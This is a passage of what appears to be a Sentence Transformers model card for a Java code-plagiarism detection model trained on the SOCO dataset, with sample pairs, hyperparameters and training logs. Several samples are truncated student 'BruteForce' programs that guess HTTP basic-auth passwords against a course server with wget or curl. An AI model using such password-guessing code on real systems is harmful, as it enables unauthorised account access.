  | <code>0</code> | <code><br><br><br><br> <br>import java.io.*;<br>import java.net.*;<br>import java.Runtime;<br>import java.util.*;<br>import java.net.smtp.SmtpClient; <br><br><br><br>public class WatchDog<br><br>{<br><br>   static String strImageOutputFile01      = "WebPageImages01.txt";<br>   static String strImageOutputFile02      = "WebPageImages02.txt";<br><br>   static String strWebPageOutputFile01    = "WebPageOutput01.txt";<br>   static String strWebPageOutputFile02    = "WebPageOutput02.txt";<br><br>   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";<br><br>   static String strFromEmailDefault = "@.rmit.edu.";<br>   static String strToEmailDefault   = "@.rmit.edu.";<br><br>   static String strFromEmail = null;<br>   static String strToEmail   = null;<br><br><br><br><br>   public static void main (String args[])<br>   <br>   {<br><br>         <br>         <br>         <br>         <br>         <br><br>      URL url = null;<br>      HttpURLConnection urlConnection;<br>      int intContentLength;<br>      String strWebPageText = "";<br><br>      String strURL     = "http://www.cs.rmit.edu./students/";<br>      String strPrePend = "...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br>	public static void main(String args[])<br>	{<br>		<br>		String mainLink="http://www.cs.rmit.edu./students/";<br>		String sender = "@cs.rmit.edu.";<br>		String recipient = "<webtech@acuneeds.>";<br>		String hostName = "yallara.cs.rmit.edu.";<br>		int delay = 86400000;<br><br>		try<br>		{<br>			int imgSrcIndex, imgSrcEnd;<br>			String imgLink;<br>			Vector imageList = new Vector();<br>			HttpURLConnection imgConnection;<br>			URL imgURL;<br><br>			<br>			EmailClient email = new EmailClient(sender, recipient, hostName);<br><br>			<br>			URL url=new URL(mainLink);<br>			HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br>			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br>			<br>			FileWriter fwrite = new FileWriter("local.txt");<br>			BufferedWriter writefile = new BufferedWriter(fwrite);<br><br>			String line=webpage.readLine();<br><br>			while (line != null)<br>			{<br>				<br>				writefile.write(line,0,line.length());<br>				wri...</code>                                  |
  | <code>0</code> | <code>import java.util.*;<br>import java.io.*;<br>import java.*;<br><br>public class Dogs5<br>{<br>   public static void main(String [] args) throws Exception<br>   {      <br>      executes("rm index.*");<br>      executes("wget http://www.cs.rmit.edu./students");<br><br>      while (true)<br>      {<br>         String addr= "wget http://www.cs.rmit.edu./students";<br>         executes(addr);<br>         String hash1 = md5sum("index.html");<br>         String hash2 = md5sum("index.html.1");<br>         System.out.println(hash1 +"|"+ hash2);<br> <br>         BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));<br><br>         String line=" " ;<br>         String line1=" " ;<br>         String line2=" ";<br>         String line3=" ";<br>         String[] cad = new String[10];<br>        <br>         executes("./.sh");<br>  <br>         int i=0;<br>         while ((line = buf.readLine()) != null)<br>         {<br>            <br>              line1="http://www.cs.rmit.edu./students/images"+line;<br>            if (i==1)<br>               line2="http://www.cs.rmi...</code>                                              | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br>  StringWriter sw =null;<br>  PrintWriter pw = null;<br>  public differenceFile()<br>  {<br>    sw = new StringWriter();<br>    pw = new PrintWriter();<br>  }<br>  public String compareFile()<br>  {<br>    try<br>    {<br>      Process  = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br>      InputStream write = sw.getInputStream();<br>      BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br>      String line;<br>      while((line = bf.readLine())!=null)<br>          pw.println(line);<br>      if((sw.toString().trim()).equals(""))<br>      {<br>         System.out.println(" difference");<br>         return null;<br>      }<br>      System.out.println(sw.toString().trim());<br>    }catch(Exception e){}<br>    return sw.toString().trim();<br>  }<br>}</code>                                                                                                                                                                                                                                                                             |
  | <code>0</code> | <code><br><br>import java.util.*;<br>import java.text.*;<br>import java.io.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br>   public static void main(String args[])<br>   {<br>      String s = null;<br>      String webpage = "http://www.cs.rmit.edu./students/";<br>      <br>      <br>      String file1 = "file1";<br>      String file2 = "file2";<br>      <br>      try<br>      {<br>         Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);<br>         <br>         BufferedReader stdInput = new BufferedReader(new <br>                 InputStreamReader(p.getInputStream()));<br><br>         BufferedReader stdError = new BufferedReader(new <br>                 InputStreamReader(p.getErrorStream()));<br><br>            <br>         while ((s = stdInput.readLine()) != null) { <br>            System.out.println(s);<br>         }<br>            <br>            <br>         while ((s = stdError.readLine()) != null) { <br>            System.out.println(s);<br>         }<br>         <br>         try<br>         {<br>            p.waitFor(); <br>         }<br>         catch...</code>                      | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br>import java.String;<br>import java.Object;<br>import java.awt.*;<br><br><br><br>public class WatchDog<br>{<br>  private URL url;<br>  private URLConnection urlcon;<br>  private int lastModifiedSince = 0;<br>  private int lastModified[] = new int[2];<br><br>  private int count = 0;<br><br>  public static String oldFile;<br>  public static String newFile;<br><br>  private String diffFile;<br><br>  private BufferedWriter bw;<br>  private Process p;<br>  private Runtime r;<br>  private String fileName;<br><br>  <br>  <br>  private ArrayList old[]= new ArrayList[500];<br>  private ArrayList news[] = new ArrayList[500];<br>  private String info = "";<br>  private int index = 0;<br><br>  public WatchDog(String fileName)<br>  {<br>    this.fileName = fileName;<br>    oldFile = fileName + ".old";<br>	newFile = fileName + ".new";<br>    diffFile = "testFile.txt";<br>  }<br>  public static void main(String args[])<br>  {<br>    WatchDog wd = new WatchDog("TestDog");<br><br>	wd.detectChange(WatchDog.oldFile);<br>    while (true)<br>    {<br>      try<br>      {<br>    	Thread.slee...</code> |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Evaluation Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 3,342 evaluation samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                               | text_2                                                                               |
  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                               | string                                                                               |
  | details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.68 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.63 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
  | <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br>  StringWriter sw =null;<br>  PrintWriter pw = null;<br>  public differenceFile()<br>  {<br>    sw = new StringWriter();<br>    pw = new PrintWriter();<br>  }<br>  public String compareFile()<br>  {<br>    try<br>    {<br>      Process  = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br>      InputStream write = sw.getInputStream();<br>      BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br>      String line;<br>      while((line = bf.readLine())!=null)<br>          pw.println(line);<br>      if((sw.toString().trim()).equals(""))<br>      {<br>         System.out.println(" difference");<br>         return null;<br>      }<br>      System.out.println(sw.toString().trim());<br>    }catch(Exception e){}<br>    return sw.toString().trim();<br>  }<br>}</code>                                                                                                                                                                                                                                            | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br>	public static void main(String[] args)    <br>	{<br>          Runtime rt = Runtime.getRuntime();<br>	  Process pr= null;<br>          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br>	  String pass;<br>          char temp[] = {'a','a'};<br>          char temp1[] = {'a','a','a'};<br>          char temp2[] = {'a'};<br><br>	  String f= new String();<br>          String resp = new String();<br>          int count=0;<br>          String success = new String();<br>          InputStreamReader  instre;<br>          BufferedReader bufread;<br><br><br>               for(int k=0;k<52;k++)<br>                {<br>                 temp2[0]=chars[k];<br>                 pass = new String(temp2);              <br>                 count++;              <br><br>        System.out.println("The password  tried ...</code> |
  | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br>	public static void main(String args[])<br>	{<br>		<br>		String mainLink="http://www.cs.rmit.edu./students/";<br>		String sender = "@cs.rmit.edu.";<br>		String recipient = "<webtech@acuneeds.>";<br>		String hostName = "yallara.cs.rmit.edu.";<br>		int delay = 86400000;<br><br>		try<br>		{<br>			int imgSrcIndex, imgSrcEnd;<br>			String imgLink;<br>			Vector imageList = new Vector();<br>			HttpURLConnection imgConnection;<br>			URL imgURL;<br><br>			<br>			EmailClient email = new EmailClient(sender, recipient, hostName);<br><br>			<br>			URL url=new URL(mainLink);<br>			HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br>			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br>			<br>			FileWriter fwrite = new FileWriter("local.txt");<br>			BufferedWriter writefile = new BufferedWriter(fwrite);<br><br>			String line=webpage.readLine();<br><br>			while (line != null)<br>			{<br>				<br>				writefile.write(line,0,line.length());<br>				wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br>  private static final int passwdLength = 3;      <br>  private static String commandLine<br>       = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br>  private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br>  private int charLen = chars.length();           <br>  private int n = 0;                              <br>  private int n3 = charLen*charLen*charLen;       <br>  private String response;<br>  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br>  private char[][] data = new char[passwdLength][charLen];<br>  private char[] pwdChar2 = new char[2];<br>  private char[] pwdChar = new char[passwdLength];<br>  private String url;<br>  private int startTime;<br>  private int endTime;<br>  private int totalTime;<br>  private float averageTime;<br>  private boolean finish;<br>  private Process curl;<br>  private BufferedReader bf, responseLine;<br><br>...</code>                         |
  | <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br>	public static void main (String[] args)<br>	{<br>		String pw = new String();<br>		pw = getPassword ();<br>		System.out.println("Password is: "+pw);<br>	}<br>	public static String getPassword()<br>	{<br>		String passWord = new String();<br>		passWord = "AAA";<br>		char[] guess = passWord.toCharArray();<br>		Process pro = null;<br>		Runtime runtime = Runtime.getRuntime();<br>		BufferedReader in = null;<br>		String str=null;<br>		boolean found = true;<br><br>		System.out.println(" attacking.....");<br>		for (int i=65;i<=122 ;i++ )<br>		{<br>			guess[0]=(char)(i);<br>            for (int j=65;j<=122 ;j++ )<br>			{<br>				guess[1]=(char)(j);<br>                for (int k=65 ;k<=122 ;k++ )<br>				{<br>					guess[2]=(char)(k);<br>					passWord = new String(guess);<br>					String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br>					try<br>					{<br>						pro = runtime.exec(cmd);<br><br>						in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code>       | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br>   private static final String USERNAME = "";<br>   private static final char [] POSSIBLE_CHAR =<br>        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br>         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br>         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br>         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br>   private static int NUMBER_OF_THREAD = 500;<br><br>   private static Date startDate = null;<br>   private static Date endDate = null;<br><br>   private String address;<br>   private String password;<br><br>   public BruteForce(String address, String password)<br>   {<br>      this.address = address;<br>      this.password = password;<br>   }<br><br>   public static void main(String[] args) throws IOException<br>   {<br>      if (args.length < 1)<br>      {<br>         System.err.println("Invalid usage!");<br>         System.err.println("...</code>             |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Training Hyperparameters
#### Non-Default Hyperparameters

- `eval_strategy`: steps
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True

#### All Hyperparameters
<details><summary>Click to expand</summary>

- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: steps
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`: 
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: proportional

</details>

### Training Logs
| Epoch  | Step | Training Loss | Validation Loss |
|:------:|:----:|:-------------:|:---------------:|
| 0.0532 | 100  | 0.0885        | 0.0440          |
| 0.1064 | 200  | 0.0225        | 0.0211          |
| 0.1596 | 300  | 0.03          | 0.0287          |
| 0.2128 | 400  | 0.0189        | 0.0252          |
| 0.2660 | 500  | 0.0262        | 0.0245          |
| 0.3191 | 600  | 0.0055        | 0.0327          |
| 0.3723 | 700  | 0.0243        | 0.0257          |
| 0.4255 | 800  | 0.0212        | 0.0206          |
| 0.4787 | 900  | 0.0282        | 0.0194          |
| 0.5319 | 1000 | 0.0204        | 0.0186          |
| 0.5851 | 1100 | 0.0103        | 0.0212          |
| 0.6383 | 1200 | 0.0178        | 0.0175          |
| 0.6915 | 1300 | 0.0159        | 0.0164          |
| 0.7447 | 1400 | 0.013         | 0.0156          |
| 0.7979 | 1500 | 0.0111        | 0.0159          |
| 0.8511 | 1600 | 0.0277        | 0.0147          |
| 0.9043 | 1700 | 0.0034        | 0.0165          |
| 0.9574 | 1800 | 0.0136        | 0.0154          |


### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1

## Citation

### BibTeX

#### Sentence Transformers and SoftmaxLoss
```bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
```

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